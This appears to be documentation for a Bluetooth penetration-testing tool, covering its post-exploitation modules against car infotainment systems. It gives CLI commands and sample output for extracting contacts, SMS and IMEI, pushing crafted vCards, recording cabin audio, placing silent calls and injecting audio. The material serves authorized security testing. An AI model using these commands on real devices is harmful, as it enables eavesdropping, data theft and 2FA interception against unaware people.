Post-Exploitation¶

Modules: 8 modules across 3 sub-families (contacts, media, data)

Outcomes: extracted, connected, streamed, transferred, not_applicable, partial, completed, failed, aborted

Post-exploitation operates on access gained through pairing. All 8 modules require an active Bluetooth pairing with the target device. This is where Blue-Tap transitions from passive observation to active data extraction --- the phase that demonstrates real-world impact to stakeholders who need to understand what an attacker with Bluetooth proximity can actually access.

Target is optional

The target address can be omitted from all extract commands. When no target is provided, Blue-Tap scans for nearby devices and presents an interactive picker.

Pairing Required

Every module in this family will fail if the host is not paired with the target. Pair first via bluetoothctl pair <TARGET> or through the Blue-Tap pairing workflow. Some IVI systems accept pairing without user confirmation --- see Exploitation for pairing bypass techniques.

Connection errors are explicit

PBAP and MAP clients now raise a clear RuntimeError: <Client> is not connected; call connect() before issuing <PROFILE> operations if any high-level method is called before the OBEX session has been established. Earlier builds crashed with an opaque AttributeError: 'NoneType' object has no attribute 'send'. When scripting against these clients directly, ensure client.connect() returned True before invoking the higher-level helpers.

bluesnarfer SDP auto-discovery

extract snarf and extract at no longer require a --channel argument. If you omit it, bluesnarfer searches the target's SDP tree for a DUN/SPP channel and uses the first match. If nothing is found the module fails with a clear error pointing you at manual channel override.

Data Extraction¶

PBAP (Phone Book Access Profile)¶

What it does normally: PBAP allows a car's infotainment system to download your phone's contacts so it can display caller ID, suggest contacts for voice dialing, and show recent call history on the dashboard screen. When you pair your phone to a rental car, PBAP is the profile that copies your contacts over.

Why it matters for security: PBAP exposes the entire contact database --- names, phone numbers, email addresses, physical addresses, even embedded photos --- to any paired device. Worse, many IVI systems cache this data indefinitely. A phone that was paired months ago may have left behind its complete contact list, accessible to anyone who pairs later. This is the "valet attack": the valet pairs their device, and every previous owner's contacts are still sitting in the IVI's PBAP cache.

blue-tap extract [TARGET] contacts --phonebook pb

blue-tap extract [TARGET] contacts --all

Example output:

$ blue-tap extract AA:BB:CC:DD:EE:FF contacts --phonebook pb

[14:32:01] Connecting OBEX PBAP session...
[14:32:02] RFCOMM channel 19 (SDP auto-discovered)
[14:32:02] OBEX CONNECT OK (connection-id: 1)
[14:32:03] Pulling telecom/pb.vcf...
[14:32:04] Downloaded 847 contacts (142 KB)
[14:32:04] Parsing vCards (format: 3.0)...
[14:32:05] Extracted 12 embedded photos (JPEG)

  Contact List (first 10 of 847):
  ───────────────────────────────────────────────────
  Name                Phone              Email
  ───────────────────────────────────────────────────
  Alice Morgan        +1-555-0142        alice.m@corp.com
  Bob Chen            +1-555-0198        bob.chen@gmail.com
  Carol Reyes         +44-20-7946-0958   carol@reyes.co.uk
  David Kim           +1-555-0167        ---
  Emergency - Mom     +1-555-0101        ---
  First National Bank +1-800-555-0199    ---
  Dr. Garcia          +1-555-0134        garcia@healthnet.org
  Hannah Okafor       +49-30-12345678    hannah.o@tu-berlin.de
  Ian Walsh           +61-2-5550-0173    ian@walsheng.au
  Jane Doe            +1-555-0112        jdoe@example.com
  ───────────────────────────────────────────────────

[14:32:05] Saved: sessions/blue-tap_20260416_143022/pbap/pb.vcf
[14:32:05] Saved: sessions/blue-tap_20260416_143022/pbap/photos/ (12 files)

Phonebooks:

ID	Contents
`pb`	Main phonebook
`ich`	Incoming call history
`och`	Outgoing call history
`mch`	Missed call history
`cch`	Combined call history
`spd`	Speed-dial entries
`fav`	Favorites
`SIM1/pb`	SIM1 phonebook
`SIM1/ich`	SIM1 incoming calls
`SIM1/och`	SIM1 outgoing calls
`SIM1/mch`	SIM1 missed calls
`SIM1/cch`	SIM1 combined calls
`sim`	SIM phonebook (alias-deduplicated)
`telecom`	Telecom phonebook

Features:

vCard parsing: 2.1 and 3.0 formats, including structured name/address fields
Photo extraction: base64-encoded JPEG/PNG embedded in vCard PHOTO property
Phonebook search: server-side filtering by name or number
Stale data extraction (Valet Attack): retrieves cached phonebook data from previous pairings that the IVI never purged --- contacts from phones that are no longer paired

Valet Attack

Many IVI systems cache PBAP data indefinitely. A device that was once paired may have left behind its entire contact list. The --all flag pulls 9 unique phonebook repositories (pb, ich, och, mch, cch, fav, spd, sim, telecom), deduplicated from the PBAP spec's aliases to avoid redundant downloads. In testing, we've seen IVI units retain contacts from 5+ previously paired phones --- hundreds of contacts from people who have no idea their data persists in the vehicle.

Operational Tips

The RFCOMM channel is auto-discovered via SDP, but some IVI units advertise PBAP on non-standard channels. Use --channel N to override if auto-discovery fails.
PBAP requires an active pairing. On most Android phones, PBAP access is granted automatically when pairing is accepted. On iOS, the user must explicitly approve contact sharing.
Pulling --all on a device with thousands of cached contacts can take 30--60 seconds. The progress bar shows download status.

Transport: OBEX over RFCOMM via D-Bus (obexd) or raw socket fallback. RFCOMM channel auto-discovered via SDP service search.

MAP (Message Access Profile)¶

What it does normally: MAP allows a car's infotainment system to display text messages on the dashboard, read them aloud via TTS, and let the driver dictate replies. It syncs the phone's SMS/MMS inbox to the IVI so messages are accessible without touching the phone.

Why it matters for security: MAP provides read access to the complete message history --- not just new messages, but the entire inbox, sent folder, and even deleted messages (if the device hasn't purged them). Beyond reading, MAP also supports pushing messages: an attacker can send crafted SMS/MMS through the paired phone, opening social engineering vectors. The ability to mark messages as read or deleted without physical access to the phone is particularly concerning for surveillance scenarios.

blue-tap extract [TARGET] messages --folder inbox --max-count 100

Example output:

$ blue-tap extract AA:BB:CC:DD:EE:FF messages --folder inbox --max-count 20

[14:35:12] Connecting OBEX MAP session...
[14:35:13] RFCOMM channel 16 (SDP auto-discovered)
[14:35:13] OBEX CONNECT OK (connection-id: 2)
[14:35:14] Listing telecom/msg/inbox...
[14:35:15] Retrieved 20 of 1,847 messages

  Inbox (20 most recent):
  ──────────────────────────────────────────────────────────────────
  #    Date              From              Subject / Preview
  ──────────────────────────────────────────────────────────────────
  1    2026-04-16 13:41  +1-555-0142       Running 10 min late to lunch
  2    2026-04-16 12:08  Bank Alert        Your account ending in 4821...
  3    2026-04-16 09:30  +1-555-0198       Can you pick up the kids at 3?
  4    2026-04-15 22:17  +1-555-0167       Meeting moved to Thursday
  5    2026-04-15 18:45  2FA Code          Your verification code is 847291
  ...
  ──────────────────────────────────────────────────────────────────

[14:35:16] Downloading full message bodies...
[14:35:19] Saved: sessions/blue-tap_20260416_143022/map/inbox/ (20 bMessage files)

Folders:

Folder	Contents
`inbox`	Received messages
`outbox`	Pending outgoing messages
`sent`	Sent messages
`deleted`	Deleted/trash messages
`draft`	Draft messages

Message types:

Type ID	Format
`0x00`	EMAIL
`0x01`	SMS_GSM
`0x02`	SMS_CDMA
`0x03`	MMS
`0x04`	IM

Features:

Message listing: subject, sender, timestamp, read/unread status
Full download: complete message body in bMessage format
Push message: send crafted SMS/MMS to the paired phone (social engineering vector)
Remote status modification: mark messages as read or deleted without physical access
Inbox refresh: trigger MAS notification registration for real-time message events

Push Message Capability

The push feature can send SMS/MMS through the paired phone. This means the message originates from the victim's phone number. Use this capability only within the scope of an authorized engagement, and document its use carefully.

Operational Tips

The --max-count flag limits how many messages are retrieved per request. Omit it to pull everything, but be aware that large inboxes (10,000+ messages) can take several minutes.
MAP notification registration lets you monitor incoming messages in real time. This is useful for capturing 2FA codes during an authorized engagement.
Some Android devices require explicit MAP access approval in Bluetooth settings, separate from the pairing approval.

AT Commands (Bluesnarfer)¶

What it does normally: AT commands are the legacy Hayes modem command set --- the same AT prefix used to control modems since the 1980s. Bluetooth phones expose an AT command interpreter over RFCOMM for hands-free calling (HFP) and data access. This is the original interface that powered the first Bluesnarfing attacks in 2003.

Why it matters for security: The AT command interface bypasses OBEX entirely. While PBAP and MAP require the device to implement those profiles, AT commands work over a raw RFCOMM channel. Some devices that restrict PBAP/MAP access still expose AT commands on an unprotected RFCOMM channel. The DUMP mode extracts everything accessible --- IMEI, manufacturer info, phonebook, SMS --- in a single pass.

blue-tap extract [TARGET] at --command CPBR

Example output:

$ blue-tap extract AA:BB:CC:DD:EE:FF at --command DUMP

[14:40:01] RFCOMM channel 3 (SDP auto-discovered)
[14:40:02] Connected. Starting AT command sequence.

  AT+CGSN → IMEI: 359876543210987
  AT+CGMI → Manufacturer: Samsung
  AT+CGMM → Model: SM-G998B
  AT+CGMR → Firmware: G998BXXU5CVK1
  AT+CPBR=1,250 → 187 phonebook entries
  AT+CMGL="ALL" → 342 SMS messages

[14:40:15] Saved: sessions/blue-tap_20260416_143022/at/imei.txt
[14:40:15] Saved: sessions/blue-tap_20260416_143022/at/phonebook.txt
[14:40:15] Saved: sessions/blue-tap_20260416_143022/at/sms.txt

Supported commands:

Command	Function
`CPBR`	Read phonebook entries
`CMGL`	List SMS messages
`CGSN`	Read IMEI
`CGMI`	Read manufacturer
`CGMR`	Read firmware version
`DUMP`	Extract all accessible data
`ALL`	Run all commands sequentially
`<raw AT>`	Send arbitrary AT command

Memory types:

Code	Storage
`SM`	SIM card
`ME`	Phone memory
`DC`	Dialed calls
`RC`	Received calls
`MC`	Missed calls
`FD`	Fixed dialing
`ON`	Own numbers

Operational Tips

The RFCOMM channel is auto-discovered via SDP. If the target does not advertise an AT/HFP channel in SDP, or you need to override, use --channel N.
The <raw AT> mode lets you send any AT command string. This is useful for device-specific commands not in the standard set (e.g., Samsung's AT+DEVINFO).
Unlike PBAP/MAP, AT command access does not require OBEX support. This makes it effective against older devices and embedded systems that only implement the basic serial profile.

OPP (Object Push Profile)¶

What it does normally: OPP is the simplest file transfer profile in Bluetooth. It's the "beam me a contact" feature --- one device pushes a file (typically a vCard or vCalendar) to another device, which accepts or rejects it. Many IVI systems auto-accept OPP pushes without user confirmation.

Why it matters for security: OPP injection can add crafted contacts to an IVI's address book. A malicious vCard with an oversized field can test parser robustness. A social-engineering vCard (e.g., a contact named "System Update Required" with a phone number that rings an attacker-controlled line) can manipulate the driver's behavior. On some IVI systems, specially crafted vCards have triggered buffer overflows in the contact parser.

blue-tap extract [TARGET] push /path/to/file.vcf

Example output:

$ blue-tap extract AA:BB:CC:DD:EE:FF push payload.vcf

[14:42:01] Connecting OBEX OPP session...
[14:42:02] RFCOMM channel 9 (SDP auto-discovered)
[14:42:02] OBEX CONNECT OK
[14:42:02] Pushing payload.vcf (1.2 KB, type: text/x-vcard)
[14:42:03] OBEX PUT response: 0xA0 (Success)
[14:42:03] File transferred successfully.

Pushes vCards, vCalendars, and arbitrary files to IVI systems
Auto-detects MIME type from file extension
RFCOMM channel auto-discovered via SDP

Use Case

OPP is commonly used to inject crafted vCards into an IVI's contact list, enabling social engineering or testing contact parsing robustness. Combine with fuzzing to generate malformed vCards that stress-test the target's OBEX and vCard parser.

Operational Tips

Most IVI systems auto-accept OPP pushes from paired devices without prompting the user. Some accept from any nearby device without pairing.
OPP only supports pushing --- you cannot pull files from the target via OPP. Use PBAP or MAP for extraction.
The maximum file size varies by device. Most accept up to 1 MB; some IVI systems have lower limits.

Audio¶

HFP (Hands-Free Profile)¶

What it does normally: HFP is the profile that lets your car make and receive phone calls. When you press the call button on your steering wheel, HFP manages the connection: it routes audio between the phone and the car's speakers/microphone, displays caller ID, manages call state (ringing, active, held), and reports signal strength and battery level.

Why it matters for security: HFP gives a paired device full telephony control. An attacker can place calls (including to premium-rate numbers), answer incoming calls silently, and --- most critically --- capture audio from the car's cabin microphone. The "silent call" feature dials a number with the HF-side volume muted, turning the car into an open microphone. Voice assistant activation (Siri, Google Assistant, Alexa) can trigger arbitrary voice commands on the paired phone.

blue-tap extract [TARGET] audio --action status
blue-tap extract [TARGET] audio --action dial --number +1234567890
blue-tap extract [TARGET] audio --action record -d 30
blue-tap extract [TARGET] audio --action hangup

Example output:

$ blue-tap extract AA:BB:CC:DD:EE:FF audio --action status

[14:45:01] Establishing SLC (Service Level Connection)...
[14:45:01] BRSF: HF features=0x3EF, AG features=0x3FF
[14:45:02] BAC: Codec negotiation (mSBC preferred, CVSD fallback)
[14:45:02] CIND: service=1 call=0 signal=4 battery=3 roam=0
[14:45:02] CMER: Event reporting enabled
[14:45:02] SLC established.

  Device Status:
  ─────────────────────────────
  Call state:    Idle
  Signal:        4/5 bars
  Battery:       60% (3/5)
  Operator:      T-Mobile
  Roaming:       No
  Audio codec:   mSBC (16 kHz)
  ─────────────────────────────

$ blue-tap extract AA:BB:CC:DD:EE:FF audio --action record -d 30

[14:45:10] Recording cabin audio via HFP microphone...
[14:45:10] Codec: mSBC (16 kHz mono)
[14:45:10] Source: headset-head-unit
[14:45:40] Recording complete: 30.0 seconds
[14:45:40] Saved: sessions/blue-tap_20260416_143022/audio/hfp_record_20260416_144510.wav

Actions:

Action	Description
`status`	Query call state, signal, battery, operator
`dial`	Place a call to `--number`
`answer`	Answer incoming call
`hangup`	Terminate active call
`record`	Capture audio for `-d` seconds

Service Level Connection (SLC) handshake sequence:

BRSF (supported features) -> BAC (codec negotiation) -> CIND (indicator mapping) -> CMER (event reporting) -> CHLD (call hold/multiparty)

Features:

Call control: dial, answer, hangup, redial, DTMF generation
Audio capture/inject: via parecord/paplay using CVSD (8 kHz) or mSBC (16 kHz) mono codec
Silent call: dials with volume muted on the HF side
Voice recognition trigger: activates Siri, Google Assistant, or Alexa on the paired phone
Codec negotiation: automatic CVSD/mSBC selection based on device capabilities
Phonebook/call history extraction: AT-based (AT+CPBR, AT+CLCC) over the SLC

Operational Tips

Use --channel N to override the RFCOMM channel discovered via SDP. Some devices advertise HFP on non-standard channels.
mSBC (16 kHz) provides significantly better audio quality than CVSD (8 kHz). Blue-Tap negotiates mSBC when both sides support it.
Audio capture requires PulseAudio or PipeWire. Run pactl list sources to verify the Bluetooth audio source is available before recording.
The silent call feature is powerful for demonstrating impact but ethically sensitive. Document its use and ensure it's within scope.

A2DP (Advanced Audio Distribution Profile)¶

What it does normally: A2DP is the profile that streams music from your phone to your car speakers or Bluetooth headphones. It carries high-fidelity stereo audio (44.1 kHz, SBC/AAC/aptX codec) --- everything from Spotify playback to navigation voice prompts.

Why it matters for security: A2DP access means control over the vehicle's audio output. An attacker can inject arbitrary audio into the car's speakers --- fake navigation instructions, fake emergency alerts, or disruptive noise. In the other direction, capturing the A2DP stream reveals what the driver is listening to (media surveillance). The HFP microphone capture (headset-head-unit profile) enables cabin eavesdropping.

Functions:

Function	Description
Record car mic	Capture microphone audio from IVI (HFP headset-head-unit profile, 16 kHz/8 kHz mono)
Live eavesdrop	Real-time mic audio routed to laptop speakers
Play audio to car	Stream a file or TTS to the IVI's speakers (A2DP sink, 44.1 kHz stereo)
Module loopback	Stream laptop microphone to the car in real time
TTS injection	Convert text to speech and play through the IVI
Navigation capture	Capture navigation audio prompts
A2DP stream capture	Record the active media stream

Audio profiles:

Profile	Use	Format
`headset-head-unit`	HFP microphone access	16 kHz or 8 kHz, mono
`a2dp-sink`	Media audio streaming	44.1 kHz, stereo

Operational Tips

A2DP injection requires the IVI to accept your device as an audio source. This typically means the IVI must be paired and the A2DP source role must be available.
TTS injection uses the system's espeak or piper TTS engine. Install one before using this feature.
Navigation capture works by recording the A2DP stream while navigation is active. Useful for identifying which navigation app is in use and the driver's route.
Audio quality depends on the negotiated codec. SBC is universal but lower quality; AAC and aptX require hardware support.

CLI Usage:

# Record A2DP audio stream from the target
blue-tap extract [TARGET] stream --action record -d 30 -o a2dp_capture.wav

# Inject audio file into the target's speakers
blue-tap extract [TARGET] stream --action inject --file alert.wav

# Route laptop mic to car speakers in real-time
blue-tap extract [TARGET] stream --action route -d 60

Example output (inject)

$ sudo blue-tap extract 4C:4F:EE:17:3A:89 stream --action inject --file alert.wav

16:20:00  ●  Running: A2DP Stream Control
16:20:00  ●  Starting post_exploitation.a2dp_stream
16:20:01  ●  Connecting A2DP sink to 4C:4F:EE:17:3A:89...
16:20:03  ✔  A2DP connected (codec: SBC, sample_rate: 44100, channels: 2)
16:20:03  ●  Injecting audio: alert.wav (48 KB, 3.2s)
16:20:03  ●  Routing alert.wav → bluez_sink.4C_4F_EE_17_3A_89
16:20:06  ✔  Audio injection complete (3.2s played)
16:20:06  ✔  Completed post_exploitation.a2dp_stream

Example output (route)

$ sudo blue-tap extract 4C:4F:EE:17:3A:89 stream --action route -d 60

16:25:00  ●  Running: A2DP Stream Control
16:25:00  ●  Starting post_exploitation.a2dp_stream
16:25:01  ●  Connecting A2DP sink to 4C:4F:EE:17:3A:89...
16:25:03  ✔  A2DP connected (codec: SBC, sample_rate: 44100, channels: 2)
16:25:03  ●  Routing: default mic → bluez_sink.4C_4F_EE_17_3A_89
16:25:03  ●  Live audio routing active (60s). Press Ctrl+C to stop.
16:25:63  ✔  Route stopped after 60.0s
16:25:63  ✔  Completed post_exploitation.a2dp_stream

Option	Type	Default	Description
`--action`	choice	`record`	`record`, `inject`, `route`
`-d, --duration`	float	`10`	Duration in seconds
`--file`	path	---	Audio file for inject action
`-o, --output`	string	`a2dp_capture.wav`	Output file for record action

A2DP stream capture

$ sudo blue-tap extract AA:BB:CC:DD:EE:FF stream --action record -d 30

[14:52:01] Connecting A2DP sink...
[14:52:02] Codec negotiated: SBC (44.1 kHz, stereo)
[14:52:02] Recording A2DP stream...
[14:52:32] Recording complete: 30.0 seconds, 5,283,840 bytes
[14:52:32] Saved: sessions/blue-tap_20260416_143022/audio/a2dp_capture_20260416_145201.wav

Byte count

The bytes field in the envelope now reflects the actual size of the saved WAV (via os.path.getsize). Earlier builds reported 0 because they inspected the Python return value, which is a file path — not the audio bytes. If you automate on A2DP record output, expect bytes > 0 on any successful capture.

Audio backend: PulseAudio or PipeWire via pactl, parecord, and paplay.

Media Control¶

AVRCP (Audio/Video Remote Control Profile)¶

What it does normally: AVRCP is the remote control for Bluetooth audio. It's what makes the play/pause/skip buttons on your steering wheel work. Beyond basic transport controls, AVRCP also carries track metadata (title, artist, album) and supports absolute volume control.

Why it matters for security: AVRCP gives a paired device the ability to control playback, set volume to maximum (or mute), and monitor what the user is listening to in real time. The "volume ramp" and "skip flood" features demonstrate how media control can be weaponized for disruption. Track metadata surveillance reveals listening habits and active apps. On some IVI systems, rapid AVRCP commands have triggered UI hangs or crashes.

blue-tap extract [TARGET] media --action status
blue-tap extract [TARGET] media --action play
blue-tap extract [TARGET] media --action volume --volume 50

Example output:

$ blue-tap extract AA:BB:CC:DD:EE:FF media --action status

[14:50:01] Connecting to MediaPlayer1 via D-Bus...
[14:50:02] Player: Spotify (org.bluez.MediaPlayer1)

  Playback Status:
  ─────────────────────────────────────
  State:     Playing
  Track:     Bohemian Rhapsody
  Artist:    Queen
  Album:     A Night at the Opera
  Duration:  5:55
  Position:  2:14
  Volume:    72/127
  Repeat:    Off
  Shuffle:   Off
  ─────────────────────────────────────

$ blue-tap extract AA:BB:CC:DD:EE:FF media --action volume --volume 0

[14:50:10] Setting absolute volume: 0/127
[14:50:10] Volume set successfully. Device muted.

Actions:

Action	Description
`status`	Current playback state and track info
`play`	Start playback
`pause`	Pause playback
`next`	Next track
`prev`	Previous track
`volume`	Set absolute volume (0--127)

Features:

Transport control: play, pause, stop, next, previous, fast-forward, rewind
Absolute volume: set volume level 0--127 on the target
Track metadata surveillance: title, artist, album, duration, track number via MediaPlayer1 properties
Active app detection: identifies running media app (Spotify, FM Radio, USB Music, etc.)
Player settings: repeat mode, shuffle mode, equalizer preset
Volume ramp: gradual volume increase/decrease over a configurable duration
Skip flood: rapid next-track commands as a disruption test
Metadata monitoring: real-time tracking via D-Bus PropertiesChanged signals on org.bluez.MediaPlayer1 and org.bluez.MediaTransport1

Operational Tips

AVRCP volume control is absolute (0--127), not relative. Setting volume to 127 will blast the car's speakers at maximum. Use responsibly.
The skip flood feature sends rapid next-track commands. This is useful for testing IVI stability under high-frequency AVRCP commands, but it will disrupt any active media playback.
Metadata monitoring runs in the background via D-Bus signal subscription. It logs every track change and volume adjustment in real time. Useful for long-term surveillance demonstrations.
Some IVI systems expose multiple MediaPlayer1 instances (one per source: Bluetooth, USB, FM). Use --player to target a specific one.

Interface: BlueZ MediaPlayer1 + MediaTransport1 via dbus-fast async D-Bus client.

Next Steps¶

Combine with reconnaissance: Run recon first to identify which profiles the target exposes before attempting extraction.
Automate the full chain: Use auto mode or playbooks to chain discovery, recon, and extraction into a single workflow.
Report findings: All extraction results are automatically captured in the session and included in generated reports.
Test parser robustness: Feed extracted vCards and bMessages into the fuzzer as seeds for mutation-based testing.